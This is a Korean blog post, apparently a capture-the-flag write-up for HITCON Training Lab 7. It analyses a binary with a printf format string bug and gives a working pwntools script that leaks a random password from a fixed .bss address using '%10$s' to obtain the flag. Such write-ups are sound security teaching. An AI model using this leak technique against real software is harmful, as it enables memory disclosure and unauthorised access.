tmxklab
hitcon training [LAB 7] 본문
1. 문제
1) mitigation확인
2) 문제 확인
-
이름을 입력받고 패스워드를 입력받았는데 프로그램이 종료된다.
-
아마도 알맞은 패스워드를 입력해야 할 것 같다.
3) 코드흐름 파악
3-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int fd; // ST14_4
char nptr; // [esp+8h] [ebp-80h]
char buf; // [esp+18h] [ebp-70h]
unsigned int v8; // [esp+7Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
v3 = time(0);
srand(v3);
fd = open("/dev/urandom", 0);
read(fd, &password, 4u);
printf("What your name ? ");
read(0, &buf, 0x63u);
printf("Hello ,");
printf(&buf);
printf("Your password :");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == password )
{
puts("Congrt!!");
system("cat /home/crack/flag");
}
else
{
puts("Goodbyte");
}
return 0;
}
-
전역 변수 password에 랜덤 값 설정
-
buf에 0x63(99)bytes만큼 입력 값 저장
-
근데 포맷 지정자 없이 printf(buf)로 바로 출력함 → FSB취약점
-
nptr변수에 0xf(15)bytes만큼 입력을 받아 password값과 비교하여 참이면 성공
2. 접근 방법
위 사실을 알 수 있는 것은 PIE는 걸려있지 않으며 password변수는 bss영역에 존재하고 printf()에서 FSB취약점이 존재한다는 것이다.
1) ASLR이 걸려있더라도 bss영역의 주소 값은 랜덤하게 변하지 않는다.
→ bss영역에 존재하는 password변수의 위치는 항상 동일
2) printf(buf)에서 FSB취약점 발생
→ %s를 사용하여 password변수의 값을 출력할 수 있음
→ %n을 사용하여 nptr변수에 password변수의 값을 저장할 수 있음
3. 풀이
1) buf값이 출력되는 위치 확인
10번째부터 %p값이 출력된다.
2) payload구성(buf에 들어가는 값)
-
bss영역에 존재하는 password변수의 주소 값 넣기
-
fsb를 이용하여 password의 값 출력하기
[ password ] + "%10$s" + "\n"
-
마지막 개행문자는 구분하기 위해서 추가적으로 넣은 것
확인)
-
현재 password값은 0xfc273f65
-
출력되는 값에 0xfc273f65가 포함됨
이제 저거를 nptr에 넣으면 끝
3) 익스 코드
from pwn import *
#context.log_level = "debug"
p = process("./crack")
#gdb.attach(p)
pw_addr = p32(0x804a048)
payload = pw_addr
payload += "%10$s" + "\n"
p.sendafter("? ", payload)
data = p.recvuntil("\n")
data = u32(data[11:15])
log.info("password data :")
log.info(data)
p.sendafter(":", str(data))
p.interactive()
4) 공격 실행
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 9] (0) | 2020.07.21 |
---|---|
hitcon training [LAB 8] (0) | 2020.07.19 |
hitcon training [LAB 6] (0) | 2020.07.19 |
hitcon training [LAB 5] (0) | 2020.07.19 |
hitcon training [LAB 4] (0) | 2020.07.19 |
Comments